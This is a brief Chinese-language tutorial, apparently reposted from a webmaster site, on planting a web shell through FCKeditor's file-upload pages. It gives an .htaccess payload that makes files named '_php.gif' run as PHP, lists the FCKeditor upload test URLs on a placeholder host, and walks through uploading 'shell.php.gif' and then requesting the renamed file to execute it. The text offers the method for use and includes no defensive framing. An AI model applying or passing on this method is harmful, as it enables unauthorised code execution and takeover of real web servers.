利用.htaccess文件来执行php脚本。
利用步骤:
1.创建一个htaccess文件:
代码内容:
<FilesMatch “_php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>
2.实用编辑器上传htaccess文件.
http://www.xxxx.com/FCKeditor/editor/filemanager/upload/test.html
http://www.xxxx.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
3.上传shell.php.gif
4.上传后shell.php.gif, 会自动被改名为 shell_php.gif
5.访问http://www.xxxx.com/上传目录/shell_php.gif
(责任编辑:最模板) |